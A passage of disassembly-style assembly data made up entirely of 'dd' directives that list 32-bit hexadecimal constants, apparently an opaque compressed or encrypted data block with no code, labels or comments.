		dd 0C1E2925Dh, 0A50FE71h, 2B1C992Bh, 0E91CB9B7h, 20F22A42h
		dd 70F46327h, 0E1445455h, 0B9907A76h, 4C2182F7h, 0D10FA50h
		dd 4AF48CDh, 77854551h,	85850EFh, 0DA570C69h, 7BA12454h
		dd 0F0288790h, 94AA9452h, 857EBD3Dh, 30FE58C3h,	0DE94E94Fh
		dd 0F5CF83C0h, 0EC2C793Ah, 3E7A09E7h, 2B8073D9h, 427E39E9h
		dd 296781B7h, 863A5721h, 6C0F1E3Ah, 8B702EAFh, 0C20C56F9h
		dd 965F5831h, 8714CC79h, 0A025E91Bh, 1D5C45C0h,	3875A5ECh
		dd 1654C2E9h, 0FE30F537h, 4108AE50h, 0E1FD9Ch, 7F96E6B9h
		dd 9C3B4D5h, 0B07FDF68h, 81D213DAh, 0C633D8ADh,	2FD5E495h
		dd 107DF168h, 2AE95697h, 0E2AF9673h, 35F15A21h,	0B4AC02E9h
		dd 2040C219h, 71973A35h, 328DA43Bh, 4021411h, 5E530234h
		dd 203BB873h, 0BBBE5A20h, 12AE0E12h, 95F1675Dh,	3EA6BF54h
		dd 0A0AC5Bh, 5A580D95h,	0FD5F295Eh, 86E95D85h, 0EA09D106h
		dd 7DC2CC01h, 0E4B75304h, 0C8EAFA30h, 0DDAA59F4h, 0B34CC6C3h
		dd 59D72730h, 0AC46649Fh, 3CBF4FFFh, 0F7316852h, 325B2F10h
		dd 0EFE4E568h, 0E7BD0561h, 0D3C45B02h, 55B118BFh, 11C613BDh
		dd 0F99F0562h, 76F440B6h, 8163350Ah, 684AC7F6h,	0F11DD7B8h
		dd 3B250F8Ah, 34E8E180h, 0C1F81AB3h, 0A052E48h,	5DCB0920h
		dd 0B7FAE950h, 0AF418D8Ah, 2696DF1h, 7061E94Bh,	0F2584B04h
		dd 3ED79FA0h, 0CD1FCF0h
		dd 425768E2h, 0C440185Fh, 6A1AEC51h, 0B32F3F3h,	987FCB96h
		dd 0C6B90516h, 3C8F6661h, 95AD4220h, 0C42030F8h, 4F70EFD9h
		dd 0BD8A40C3h, 794BC48h, 5EDC156h, 2FF2615Eh, 0C06F2C58h
		dd 890C3FF5h, 855E1A98h, 0ED5F3AE6h, 0C688EE0h,	9D30B77Eh
		dd 0C7311E85h, 1B20D26Dh, 0CF899B59h, 0B333DF95h, 3E59CAE9h
		dd 0DD6BA9F1h, 0BC4B4241h, 0D2E0F509h, 121E32EBh, 0D06F3A09h
		dd 0D8088281h, 47440BD0h, 747A411Eh, 1C040883h,	4D5D375Ch
		dd 0AE62A5ACh, 8352D439h, 2D4A6F78h, 0F32804C1h, 81106970h
		dd 0DCC24266h, 8481E7F7h, 0B85AE868h, 1B41DE62h, 0E9152269h
		dd 0E93EA3DDh, 6B57CCB8h, 303317B1h, 551315CCh,	0F422DD4Bh
		dd 6292F6BEh, 6108C40Fh, 0D8975CEBh, 0E9C32BB6h, 3639AC40h
		dd 0F079F288h, 0D8D05024h, 514FDADh, 0D430339Ah, 69F86DEBh
		dd 0A50A4B28h, 0A981CB63h, 8808402Ch, 70B82E36h, 0BD58C920h
		dd 1922FBD8h, 0B12B4E5Bh, 24F87AD4h, 11F08CF2h,	602BF0B7h
		dd 0E5817D83h, 0D7B1FCEh, 46B8F5ECh, 537A701h, 56DF1314h
		dd 589F13Bh, 0F83E8307h, 0AE2382C0h, 0EDC9675Eh, 0B43EF225h
		dd 39602269h, 59E2EE91h, 1D26C5D1h, 50C7CA96h, 116F717h
		dd 0D7004517h, 66B21FEEh, 4C3A2CE9h, 0D1BFC2CBh, 5C35C220h
		dd 0C066012h, 0DE20938h, 3ECA012Ch, 0CD00820h, 2A593014h
		dd 135B8F70h, 2CD601E7h, 0A72C68A2h, 0B1C24876h, 7256DCBFh
		dd 0F79D00D0h, 6030F794h, 0FB2134CCh, 0B752505Fh, 0D815DF28h
		dd 0DB6D413Ch, 5517C400h, 33524553h, 642E1C32h,	410E786Ch
		dd 50655644h, 4E0D3149h, 0C64CF954h, 74010AA8h,	868E918h
		dd 3D9695EFh, 0D60B06A8h, 8A83FDE7h, 15219714h,	981308CCh
		dd 4184C290h, 44B84899h, 10AE229Fh, 0A4899AB7h,	9B451F08h
		dd 9D4A20FAh, 13003A77h, 2914A14Bh, 47D238h, 8B06E8F8h
		dd 0FB36E08Ch, 0E20DA000h, 0B29D28FEh, 0C05D00B3h, 318C5A45h
		dd 0BE005416h, 0DA7D0363h, 647FA9h, 360CBF33h, 0E10FDD7Ah
		dd 0A46B83Ch, 0D6A169D5h, 0AA2C8F00h, 33EB2F5h,	0FD2BD67Dh
		dd 0A380524Ch, 0A800F337h, 1540CB56h, 7F9657h, 0F2A446F1h
		dd 504ADE32h, 0C4242954h, 0D9947E00h, 0C976F0EAh, 0BCA00019h
		dd 0EBC72D39h, 547F40B2h, 866C7E00h, 6BBEA321h,	0D57809AEh
		dd 0A5DCDA93h, 0F319CE00h, 0CF9FA6h, 0BCADE825h, 6C7CDB56h
		dd 8378202h, 0C067B264h, 426E69h, 2F3E1994h, 26C974C1h
		dd 9AA5F000h, 8F9722C8h, 3D562A01h, 0F8231084h,	0E70D00BAh
		dd 0EE04266Dh, 0BB6CA8BFh, 3EB4007Eh, 0A8175149h, 15005385h
		dd 0C1D8778Fh, 2CE46E8Eh, 3065D566h, 3A48A252h,	3500677Fh
		dd 0CDE85E3h, 0CF8E2394h, 4EE09021h, 0C7E4A31Fh, 0F6572D00h
		dd 0FE618B5Fh, 8F6A01B6h, 0C0242995h, 4FFF805Bh, 1E39749Eh
		dd 17A20048h, 44D13B28h, 500EBF9h, 35E38D88h, 0EA0CA1F8h
		dd 9A1700C1h, 0F742ACB3h, 7312A548h, 21401F26h,	0BAD7800Eh
		dd 0AC8CC27Eh, 62E03979h, 1748BC1Fh, 1935036Fh,	0F094B5A1h
		dd 0DA8369h, 0C145BF7Bh, 0F0FEA82Ah, 4A9C5EF6h,	0D06D3CB0h
		dd 33A2A086h, 2C6F18E5h, 0A5854B83h, 834F1C39h,	0B621AFC9h
		dd 31B001Dh, 1E0AE4C4h,	45600D44h, 0EDFE65C7h, 0DF743307h
		dd 9BA0C129h, 2F24A215h, 3D481Bh, 436393DDh, 28253984h
		dd 0C86F2Dh, 0B3D07B01h, 0A5336A23h, 88374D0Eh,	5FE6C0E5h
		dd 1B3B62B4h, 0BA05B1BDh, 5BFC7AE0h, 38693660h,	6003B0C2h
		dd 0BF3EFA5Fh, 0EE006B15h, 4A2612F8h, 60678B2Ch, 930F82DCh
		dd 78006ED5h, 8681C092h, 0F34EA4h, 0F422CE75h, 0ED57967Eh
		dd 3A16FC00h, 4DEB9B3Ch, 83380512h, 0C0E24917h,	8EB19C26h
		dd 0EE21581Bh, 8B07B82Ah, 49DCF5E9h, 0AB5C602Fh, 38759F48h
		dd 0A33E1D7Bh, 0D03A8216h, 0E0EAFA45h, 0E28EF9h, 0BA2F934h
		dd 9B16C0ECh, 43ADBC00h, 72A44FF6h, 4A180027h, 830D15A0h
		dd 7150BB28h, 7A28ADFFh, 90EDC38h, 2291E3h, 4E1CB3EAh
		dd 1EF001F7h, 0E687736Fh, 9F41EC7Fh, 97EB7B28h,	78E94218h
		dd 9746E0Dh, 0A671A998h, 1EC50F00h, 0D225A04Eh,	887AC3B9h
		dd 58A7A79h, 3526EC2Ah,	0AED90989h, 0F408E200h,	7500D94Eh
		dd 0F2EC9D4Bh, 60CBA02h, 0EE03B4B2h, 0F007645Bh, 0EDE5481Ah
		dd 0CD4B1550h, 0AE440266h, 4D8F63D4h, 0BB17CB80h, 6500606Eh
		dd 4161CEA8h, 4BD9ABh, 143596E0h, 0ACCA2038h, 0D7C45007h
		dd 0D810DC9Ch, 0F81B8Ah, 38801C4Eh, 0C9709A48h,	98A0863Bh
		dd 6419729Fh, 0EB92008Eh, 56D72DF5h, 6A009850h,	0B25D33EEh
		dd 9E3072FDh, 9123A51h,	48682145h, 0D1A334F6h, 967C6A00h
		dd 378B67DCh, 0CA922614h, 529300A1h, 601ABDBBh,	76F140h
		dd 0E8E5ED9Ch, 31D36E7Eh, 5C46E702h, 64C53960h,	3E7D43ABh
		dd 3F2EFB9Eh, 83008D9Fh, 5EB4B61Dh, 66440FC3h, 34E01B8Ch
		dd 2D20AE6Ch, 0D82ECB2Ch, 0A74D1A81h, 2932236Ah, 0B702E802h
		dd 2CC0D888h, 6604B05Ch, 0B23D902Bh, 42CD5780h,	308D0263h
		dd 61BC6A15h, 0D3539968h, 79EA4D09h, 6F2E0070h,	41C663Ch
		dd 913A24E1h, 84A3D0DEh, 874C6D7Dh, 7CD518F9h, 92EFDB2Ch
		dd 0F523009Fh, 24F29DB8h, 1875CA05h, 0BE1F8D13h, 91B48B00h
		dd 8003D057h, 93DE3C4h,	3FD500BCh, 6C865BE2h, 7671D1h
		dd 1E020D98h, 8F2E7DC8h, 0AA7C6000h, 0DF31301Fh, 0D8FB0042h
		dd 0D694B30Eh, 810CE13Ch, 0BD375CFFh, 0B48E2639h, 0D258D08Bh
		dd 17C87930h, 0DFE0DEh,	50659157h, 2B1C3BFh, 93013590h
		dd 528C86ACh, 2C809738h, 9654F37Dh, 0F12E67Ch, 9805DAD7h
		dd 73EC5F92h, 87A71026h, 0E017D63Ch, 0DB57C770h, 27092090h
		dd 247ECBh, 6FD681A4h, 0F53B001Bh, 0FBB1827Fh, 651F03FAh
		dd 30B07CF2h, 20DD37Ah,	6858BAE3h, 0BF60242Fh, 1890EC54h
		dd 864FE82Ch, 34009524h, 47C484DEh, 83620030h, 0B95491DBh
		dd 7E091CBFh, 900F29h, 5F1278Ah, 0A3081764h, 0F40603BCh
		dd 0D4A81CF9h, 91067B6Fh, 0A649F6E8h, 9FD51F2Eh, 0D605403Ch
		dd 86E0DA8Bh, 0E208D900h, 0A70D47BBh, 0A4E53A19h, 96D55A81h
		dd 0F968B15Bh, 0F00CD8CBh, 0C96258h, 21812295h,	0C9789C6h
		dd 699A3D3Bh, 837A7F11h, 0B5121A00h, 840B59B7h,	0DB4C01A6h
		dd 0E02D8AC3h, 6ED961F4h, 0EC008DE8h, 0B98411FBh, 0CA2C47ADh
		dd 149AB43h, 62A1557h, 0A7CDAC31h, 0D8022872h, 0E3AAE709h
		dd 0AE0FAC64h, 7669C944h, 1735209h, 9CA6C118h, 0C4227623h
		dd 0F8389239h, 0D009EE67h, 0B69B03F0h, 31B400C4h, 3D3723CDh
		dd 3616D964h, 5909B9E0h, 952280DAh, 97270DFh, 0CB5D2798h
		dd 13328000h, 0D1C050D5h, 3C896344h, 0BF550011h, 0EC06DB62h
		dd 18E2F651h, 9E828D00h, 0FAEFD48h, 2AFC00E0h, 5FB1B09Fh
		dd 58047BC2h, 5614338Eh, 7F01E280h, 72B730DCh, 340EB9D0h
		dd 48707780h, 700CF9Eh,	19CFF259h, 5749FC5Fh, 61067A7Fh
		dd 0D2A8D13h, 6CEA01F5h, 5E0FE1C7h, 7F357064h, 13C3688h
		dd 0C74D2B87h, 80759E39h, 0F58F7B1Bh, 2769C4Eh,	36A05B3Bh
		dd 9EE0DF35h, 27C1A7D2h, 3C55068Ch, 320F92h, 3B49A15Bh
		dd 0D0F62E84h, 2F882C0Dh, 0E2302382h, 0A41B0042h, 0E825F39Dh
		dd 140DF1EAh, 2548E14Ah, 4DEC5D31h, 0E270019Eh,	34A72D43h
		dd 811F9E9Fh, 20E62E00h, 0F0907Ch, 0A7F82C04h, 3D2337D8h
		dd 0CA982700h, 0AA865073h, 450C00F3h, 5BE18F65h, 0CB6F53F0h
		dd 283E4046h, 0A9D6C2h
		dd 0CA3455BBh, 8C5EF9B8h, 0DAC76600h, 1A68B41Eh, 9128E5C8h
		dd 4909263Ah, 55801F55h, 0C4630DE7h, 790BE500h,	4197B9D4h
		dd 773B0018h, 0A21BCF1Dh, 289068BEh, 0D700E292h, 0E9F86701h
		dd 25D84D07h, 40003E7h,	90319ACAh, 2C869DC0h, 947E63h
		dd 48BA74F5h, 0FF1599C9h, 0D5032D02h, 41D3FD58h, 8E2029FAh
		dd 14BBB2A9h, 0BA9150FFh, 41F81201h, 7094EE20h,	1138ED98h
		dd 7094CDAh, 638FC566h,	0F721C390h, 0CF933ABAh,	89B29780h
		dd 2A06234Ch, 0C100E7E8h, 94806A7Ch, 132C6FDEh,	2E9DB49h
		dd 9240B278h, 0A0EF9C40h, 0E688200h, 292B33F6h,	318C1EDBh
		dd 0A143C123h, 70EED677h, 400062E2h, 0D430CCAAh, 1DED8C8Dh
		dd 0C26DE7FFh, 0EA937969h, 0E900D546h, 8D81AE27h, 0F5FF467h
		dd 41F00E37h, 9AC329C0h, 50004C38h, 76DD5BC5h, 60FF9C4Ah
		dd 0EB032752h, 0EF002140h, 108AA581h, 243BBA42h, 0ADA4C2h
		dd 2BFB7632h, 3700E18Ch, 79D6AC16h, 294D881h, 46544A78h
		dd 0B3C1FC89h, 8FEE648Ah, 0C80022E0h, 0CF2501AEh, 470FCB5h
		dd 6BF913CBh, 0BDF18024h, 3400CC1Eh, 0B0B2E812h, 0BB235Ah
		dd 7591C6DBh, 2206FB4h,	4F50B1FCh, 0A60E90BFh, 415A88FAh
		dd 7A68D762h, 0E48D6E8h, 1AE842EFh, 0E47E5440h,	5E050E41h
		dd 5B09B6B0h, 582A7680h, 145FECF5h, 81F3F725h, 0F9A760Dh
		dd 8C830A9h, 72D900E1h,	0A8A904Eh, 5B821EB6h, 9E3100D8h
		dd 0C80726CCh, 3B422562h, 7C8FC124h, 0E79D20h, 2B5284A8h
		dd 732AC4E4h, 0E50FDC00h, 0B75D0944h, 68A41696h, 4E1FB3B4h
		dd 0A5BD1DBCh, 89BED52Ch, 75681097h, 71DF2503h,	81E6835Fh
		dd 0D49BA9F1h, 0B26B89E1h, 5868C295h, 7911F643h, 6AA86A5Bh
		dd 18795D0h, 5A02A2DAh,	0A7541DF7h, 5049DD7h, 0C0DF79E9h
		dd 94B8AF2Bh, 6A89D07h,	0E090C503h, 8E2AD7h, 52431D3Fh
		dd 0B0FA8A1Eh, 1F880F07h, 0D1004E83h, 6EE83B80h, 9AE05914h
		dd 3D1A8F27h, 3495DB00h, 2D523235h, 0E9B1015Dh,	8AB24763h
		dd 6A4E7066h, 0D05A7A3Dh, 38004B78h, 6E26CAFAh,	1881518Eh
		dd 1C6F16C2h, 6A0D57B9h, 2F685B78h, 50820FC0h, 5EBF0603h
		dd 0BEFCCAh, 65C8811Ah,	0EC179230h, 826000EFh, 0EBBE616Fh
		dd 6D7BC034h, 0DB18C77Ah, 0D0225E18h, 3F0A00AFh, 8FA1B157h
		dd 86BF1A04h, 630989h, 8A0AD42Eh, 4E432BFh, 80F1297Eh
		dd 6AACBE1Dh, 4B3D6FDh,	0E8AED3A5h, 1E49A861h, 2B04B866h
		dd 8585FB81h, 85141AA8h, 50765D2Ah, 4483060Bh, 0B703BE05h
		dd 0E939038Ah, 0C4150032h, 0E86E384Fh, 5F00722Bh, 5B6ABA80h
		dd 7607CFBBh, 1C3FE99h,	8BF860A9h, 2EE961F1h, 7B80171Ch
		dd 1372970Ah, 7A1D0F07h, 8B20B70Eh, 1A7B5E9h, 48E21700h
		dd 61E49770h, 0B6AE3A42h, 80F7FF83h, 65C04907h,	56F847E5h
		dd 262B610Ch, 0E8182857h, 0DE8006E1h, 214AE665h, 9C77AC74h
		dd 0C2117860h, 207089ECh, 38C1B6C7h, 0D22BA767h, 952E118Eh
		dd 5F335123h, 91C08103h, 16A9788h, 779FD611h, 69DBBDh
		dd 1082CB56h, 99643FF4h, 69028149h, 43DFD621h, 0C55091D2h
		dd 5876A047h, 33CF0011h, 0B4E8875Ch, 4606EAA6h,	0D8B1ECD2h
		dd 0D06074E0h, 0F018496h, 0D7C8281Ah, 0FB108162h, 89EB7DBEh
		dd 76E3F0h, 31410AD2h, 48175615h, 67FCE118h, 809C1A60h
		dd 0CC783255h, 106C0831h, 0A09F0C3Fh, 14B18056h, 20A3D8CBh
		dd 99BDBC00h, 0ABADC517h, 0F530F111h, 0A4571D13h, 0CCBA00AAh
		dd 0B956FC8Bh, 0C620B201h, 0C02687D5h, 79F142D0h, 19A500BEh
		dd 0AE96B6A6h, 0B003CAADh, 0A7C4BFFAh, 98C6B81Ch, 0D4C90213h
		dd 61C51DABh, 9B3C3894h, 74243CD3h, 0A04618A5h,	0B8223C08h
		dd 0A6B0A530h, 0CB0E17BAh, 0E0AEADB0h, 0A011B1D3h, 0FE4200AFh
		dd 0FDA5D0C8h, 0F3F0B5ABh, 0A0ECE58h, 6861A4F7h, 0AB039107h
		dd 451E9683h, 41FDC39h,	66ED970Ch, 0E60ADF10h, 0C8FF4ED1h
		dd 0EB01E285h, 0C7EEF800h, 909F6A3h, 62BEFE49h,	3CFC1C28h
		dd 1818F7B1h, 3DAC2070h, 205808A1h, 0DC093B38h,	8256E285h
		dd 80634172h, 0A7F7552Ch, 8C0090C8h, 88D9680Ch,	0C977E30Ch
		dd 37053006h, 0CF59F0DCh, 1FF139A0h, 4DD8E6E3h,	49169240h
		dd 560CA058h, 0AC59DDF7h, 78E3B22Ah, 5B189214h,	0DFAF2158h
		dd 0C8EF9790h, 72E477C2h, 1431C03Ah, 4544B8Bh, 3251615Dh
		dd 0E1CC9062h, 0B7606BFEh, 0A371C528h, 184574EAh, 196C1EDAh
		dd 0DEF1BD42h, 0DFECE448h, 0B85FD726h, 0B21A3100h, 2819B1CBh
		dd 9A0CFFE5h, 0CD4D4450h, 6A804B13h, 24D9B000h,	0E85A3797h
		dd 0C6B50C6h, 4D707856h, 390C14B9h, 0E4B18AF4h,	0E006050Ah
		dd 44746464h, 0C20A1AB3h, 8CE633CBh, 0CD42BCA0h, 8456B840h
		dd 90AFAA2Ch, 0FCECAD86h, 46CB1419h, 0B1CAF83Bh, 4CC016E0h
		dd 0A659DD54h, 39454898h, 5CC6408Ch, 5329FFC1h,	4E918C75h
		dd 0A3A0E446h, 0EA26B771h, 984C7CC7h, 90C884ECh, 91C9454Ch
		dd 0D541E164h, 0C01985F2h, 8833CF65h, 0ACE04CA6h, 84166450h
		dd 0CE175514h, 0BC430A48h, 1E9DE07Bh, 0C32CC12h, 5380286Dh
		dd 0C8C99BEh, 8CA0967Ah, 0E2C05C2h, 29FE04E0h, 9A88EE5Bh
		dd 78C2E0FEh, 20B1F404h, 8BED0CADh, 71134012h, 8914604Eh
		dd 63281961h, 0EE802814h, 850C99D1h, 8C027C8Ch,	67A324B7h
		dd 0AD8F10Ch, 446BC587h, 0BAA88C7Fh, 6880148Ah,	0C50C9945h
		dd 0F8C49E3h, 0D5449C35h, 0C828847Ah, 4249B126h, 1644F2A0h
		dd 52216104h, 14906632h, 8AD1E71Dh, 2B3574C4h, 507C61FBh
		dd 0B943854Bh, 0BDC6A916h, 0A8755194h, 4AE281DBh, 953B464h
		dd 81F4AD8h, 0ECD95824h, 2C9A4C54h, 1AF6B7A1h, 0FA8D5DECh
		dd 6D80EC03h, 0C9A81000h, 0F3B2949h, 1C631A42h,	78821877h
		dd 0DC0ADF8Fh, 1C06F211h, 18BA6BE7h, 3C169400h,	563E7062h
		dd 0C3082017h, 92A470C4h, 88E6DF04h, 3CA608A8h,	15C07708h
		dd 0E828F21Bh, 718BE33Ch, 0AA3C46BAh, 163C38D8h, 215C2389h
		dd 62D4C2h, 0A9E8041h, 95BD8501h, 42A699F7h, 0F88FB3E0h
		dd 0B8A01F01h, 619A0A98h, 2900F14h, 0C087A485h,	3BCC2124h
		dd 4C8C5424h, 98602358h, 864B224Ch, 927ACA00h, 0FB21E201h
		dd 0F45A51BDh, 20320430h, 0DF10546Dh, 0AD04FC1Ah, 819ABD2Ah
		dd 1071FF10h, 29A6C5B6h, 0C220FAB4h, 0AA30F909h, 33D890AEh
		dd 8886A77h, 224C8048h,	43D6015Ah, 8ADC74FFh, 0A448924Eh
		dd 49AD6002h, 62186846h, 0C11A000Dh, 657B2ACBh,	7A74F2C3h
		dd 89215D60h, 3FF1A05h,	0D760A135h, 70D89CCEh, 663E81F9h
		dd 6160F18h, 0D82CE3DBh, 4BFBD065h, 39800690h, 7858A2ECh
		dd 543BD4A1h, 0B1088198h, 6868CA2Ah, 241CAECEh,	8586379Bh
		dd 60092F46h, 0A6EE21C8h, 1C031224h, 17FD2AECh,	97F810ABh
		dd 18544885h, 4A687D24h, 2FB9C056h, 55348069h, 0F2228A1Eh
		dd 852AFBC0h, 0E1722BEDh, 1C6B10CCh, 0EA961360h, 460B0098h
		dd 0C06817B4h, 0E9007F2Bh, 3BC4121Ah, 2FA06Eh, 5CCB2625h
		dd 9FF7B163h, 14F0E060h, 0C339A716h, 6BD7EAD8h,	5B96E914h
		dd 0E00998C4h, 0BD933A4Bh, 866C6326h, 0F13931EBh, 493057E8h
		dd 6286C150h, 40B800ECh, 0E828A4D3h, 9A0AA52Dh,	20E5BD78h
		dd 0D15EC03h, 0B266E8E0h, 80C49E3Fh, 1967C610h,	0AFEE6D38h
		dd 8118E138h, 43CD64C1h, 6C206F34h, 120CB4C0h, 80860A8h
		dd 0CB23BC1Ah, 385B1102h, 881A0084h, 0C598EB8Dh, 906863DCh
		dd 600422DBh, 95B06B65h
		dd 4B1CB600h, 0A829AD80h, 0ECA288A3h, 0ED666E16h, 8092E823h
		dd 7CB91FBDh, 3BA2EE13h, 0F6FCB10Fh, 39736FDBh,	0DE0A942Fh
		dd 4C701F24h, 808A8FEh,	9ABBAF14h, 48968BA8h, 6F7B54h
		dd 0F8D3792Ah, 0C34AB506h, 0EF9C51Ch, 0DEE8DF4Bh, 283901DBh
		dd 0EAAECDC0h, 0E465A8A1h, 0A8A18045h, 1BA2139h, 5FCF231h
		dd 33F43B90h, 4274D0E9h, 65603F04h, 71A08199h, 0B6EA03B5h
		dd 86E25AD2h, 217D0830h, 7198A7h, 8868DF9Bh, 774D3BBh
		dd 0FFEAED17h, 201C14h,	9330E241h, 71F4C463h, 8E6C2D4Bh
		dd 0DCC25829h, 1A06DC30h, 0F2CBBA08h, 405E647Ah, 1A19FE82h
		dd 7B81003Eh, 0CC3730DEh, 650551BFh, 0B4CA7126h, 0E3D1CC41h
		dd 0A8204976h, 335112A1h, 653845DAh, 9AE020E6h,	0EC12ACFEh
		dd 84470711h, 51E6E3E1h, 37EB2438h, 0C170088h, 0BC16E20Eh
		dd 7CA0DA4Ch, 4EBF0F00h, 0E330EA9Dh, 0E9D21C46h, 59D34106h
		dd 89C4B3EEh, 2B1AC28h,	64969750h, 0BE760268h, 0CDE00B05h
		dd 4CD7D085h, 9B2170D4h, 5405B600h, 97F1FA27h, 52221458h
		dd 6501203Ch, 0C373E18h, 1869EAF7h, 6E4C1052h, 22400BDh
		dd 94085CA3h, 600A41A4h, 0F0D49585h, 496B970Ch,	0EC1B035Fh
		dd 24F605FBh, 388F4C98h, 0C201EAE6h, 714F3122h,	882130D6h
		dd 30A7B042h, 0BB151A07h, 9FD4FACBh, 0FF8302A2h, 0B22B1119h
		dd 2809CD1h, 9358E214h,	0ECE02464h, 4224BA28h, 11A82480h
		dd 222C00B6h, 0F113461Ch, 8CA12ABh, 399000B0h, 379ABC55h
		dd 8B5C9788h, 2B713190h, 75B9F702h, 408AC843h, 25FEE334h
		dd 4C8A541Dh, 5D465E38h, 515E6600h, 8562D078h, 0FF8CC804h
		dd 70806C43h, 257DDFFEh, 642E9766h, 0EA08D4C5h,	7E415A80h
		dd 23E21EBDh, 0DFEA059Ch, 0EEACD2BFh, 0AF7B4440h, 0C0B32A80h
		dd 0A153CBF9h, 0E2099873h, 0FB6041Eh, 30962A24h, 0A38D780Eh
		dd 0E0301790h, 30F6E006h, 0D228CBE7h, 408AE4BDh, 443D5134h
		dd 0C107E657h, 38141101h, 0C6E43950h, 20349452h, 703E378Ch
		dd 0BF3AC039h, 4D00B18Eh, 5F02937Ch, 70E6F19Ch,	0F6E20C09h
		dd 0A070D313h, 0BEBF0D00h, 0B21D2BA5h, 0C4394894h, 66F67333h
		dd 2205138h, 9CA23229h,	0D1B0C806h, 7BE31FF3h, 9D9D22Eh
		dd 3C683E94h, 58027F4Ah, 0BDA3121Ch, 4C9466D8h,	0F84BCCCh
		dd 0BD6881B0h, 0B1243015h, 48E36511h, 46B7309h,	78BE20C0h
		dd 0C239750Eh, 9D7102C7h, 3FD840E2h, 2B7022Eh, 0D8EBE6E0h
		dd 3D4BCF00h, 9049608h,	0DC309561h, 91105BCh, 6D88BDE0h
		dd 5B49980h, 0E2304194h, 3398006Ch, 0EBEA1C4Ch,	0E017FE12h
		dd 2ACD62Ch, 8128552Eh,	5AF43713h, 3154334Ah, 753F5186h
		dd 44B9F987h, 1FCD40F8h, 0C300C139h, 73E65D50h,	13DCC02h
		dd 8A342EEBh, 87E293EEh, 0BB19AC8h, 494A694Ch, 98003450h
		dd 0A114442Eh, 0ED162F39h, 0F44F37FFh, 3EBD60F9h, 2AB96F65h
		dd 71B4B82Ah, 84E8387Bh, 0A6C90180h, 0F7EB0CD7h, 385D6737h
		dd 5134E222h, 0EC9981ECh, 806BEFFFh, 27571620h,	5B713FDh
		dd 9C36A019h, 474481CAh, 7AB2C4C3h, 69C70800h, 381FE1B1h
		dd 0D0171A56h, 3C47C8DDh, 2A615744h, 0CA876E7h,	0D1C5CA70h
		dd 0B0655496h, 0A91D005Ah, 0D39D3B35h, 51018E79h, 232753E1h
		dd 5717BC3h, 1739E047h,	806A9104h, 8F4AD8ACh, 91C400D9h
		dd 0ECBD0E92h, 0E04C0F1Bh, 492E0018h, 0D87E4223h, 24CCEC2Ah
		dd 3F408439h, 90A4D3A8h, 663D1AF4h, 48845958h, 5BA6193h
		dd 0A4AD5C60h, 976C4444h, 0ED2E05F4h, 6800440Eh, 0CC2D82A6h
		dd 0A45900E1h, 0C7EB3AADh, 0D4A288D3h, 0E093FDC1h, 11C28A23h
		dd 79C65E17h, 4BD689C4h, 0C740F84Eh, 0F6E3DCDh,	0F6EAD4D4h
		dd 48726BA7h, 0E8343002h, 9166000h, 0E43C96AFh,	0F1201078h
		dd 0EC18E4D5h, 25CC0C58h, 0B0C018B3h, 379D1124h, 87C488ABh
		dd 4024A8F0h, 0D78D17BEh, 74689728h, 204F4A24h,	45A8D680h
		dd 0E022Ah, 3ED941C5h, 91FE55D8h, 7B274C13h, 47C8B81Dh
		dd 6EC302C8h, 3E07CF3Bh, 0A4D82A69h, 549C8F00h,	5C647Eh
		dd 0F71A585Bh, 6013DFECh, 82759C92h, 0F04B6C08h, 75E10192h
		dd 0E1EBB77Ah, 0E2B04043h, 620BFA2Ch, 1096BD70h, 1CA0DCh
		dd 9716FDFFh, 5EEACEB8h, 1DF49307h, 64405BCFh, 48680FECh
		dd 3205CDB0h, 81BDBA70h, 0DCC42FBCh, 951FA75Ah,	0C257A8C7h
		dd 13D79821h, 0BA006CF1h, 4C002E94h, 8EB2D1FCh,	60D3F7ECh
		dd 0DAA6B857h, 691D4750h, 3CA4A28Ah, 0F40D233h,	0EF335248h
		dd 0E2AD4200h, 0D95063FEh, 8B00F094h, 0AF077A5Dh, 3E7E191Ch
		dd 278FAAECh, 8460ABE2h, 7A0AF9C1h, 83E8BCE8h, 0E1AC38h
		dd 25469874h, 7CB0F769h, 3A07B858h, 0B1002813h,	0DF7E840Fh
		dd 0EF3E7110h, 0FA6C74F9h, 3E0B1128h, 0F00F277h, 11A7F575h
		dd 0DE16F028h, 0CC037413h, 0E0BC27F7h, 3CF68409h, 0ED1EFEB0h
		dd 0F06F0FABh, 5D3E0BA1h, 5AB8955Bh, 0C6ACAF04h, 75000A70h
		dd 3DFDA7BDh, 520CE1E3h, 91841808h, 0D5B890F6h,	6500F4E0h
		dd 121093B5h, 32DC696h,	0C930068Eh, 90E7B649h, 71A7D2F3h
		dd 4D58727Ch, 0E559607Dh, 1EFAF0ACh, 40CE15D3h,	0A11957A9h
		dd 3500B83Dh, 0AF0DE750h, 716CA9Bh, 67A64E0h, 9A7BB05Ah
		dd 0E500C24Ah, 7E635E0Ah, 0D153B3h, 50331C47h, 0A86A702Fh
		dd 5ACBEA03h, 136EBA1h,	1E94E518h, 0F115D424h, 40C4F18Ah
		dd 1259F740h, 0D85E8830h, 74B56071h, 0E9B3F078h, 229BF88Eh
		dd 0A0C74D82h, 810C030h, 0D2776C66h, 50BBE0F3h,	9C10C092h
		dd 0AFBFC518h, 5E689360h, 0A04189F6h, 0C61F0A8Ch, 0F8B8D168h
		dd 80C079FAh, 2C4AC3C6h, 840DF72h, 580CDB15h, 66F050A9h
		dd 0B1A390FFh, 0E87B5B14h, 1441A78Ch, 301EC804h, 0B78F801Dh
		dd 88A250D7h, 0B099EFh,	1DB8CEC2h, 91225214h, 1E9A0009h
		dd 318C5835h, 623E2C59h, 456FA20Eh, 92CB316Eh, 2871C248h
		dd 6422083Ah, 9C1CAB8h,	4827266Ch, 0F94C3F0h, 5CC04F86h
		dd 0D128A5C1h, 7E83D4B1h, 76FEAB0Eh, 7D0F87F3h,	194BBC87h
		dd 5060BF78h, 0A7F12C7Ah, 0F9073E54h, 40CF572Dh, 0B0C27704h
		dd 981D4A05h, 60304E55h, 2881F15h, 0EF865844h, 49857D1h
		dd 0BD7C6593h, 400C6053h, 711F1E08h, 5322B1BFh,	260A7478h
		dd 9F085E55h, 1F3E2370h, 533D5F87h, 0E44CA4ACh,	8EEA31BAh
		dd 0AE32FC47h, 96257909h, 8946306Ch, 1094D242h,	0CEE43044h
		dd 9191A081h, 170A9F08h, 0BA97705Dh, 0DF6A0048h, 2EBA4F02h
		dd 282D185Dh, 8C4DF1h, 0CB532650h, 18280D68h, 5F095C19h
		dd 61245E12h, 93916048h, 95449222h, 12978994h, 48992496h
		dd 228B9198h, 8C8D448Ah, 8E138F89h, 0CE5F72E0h,	642B0B03h
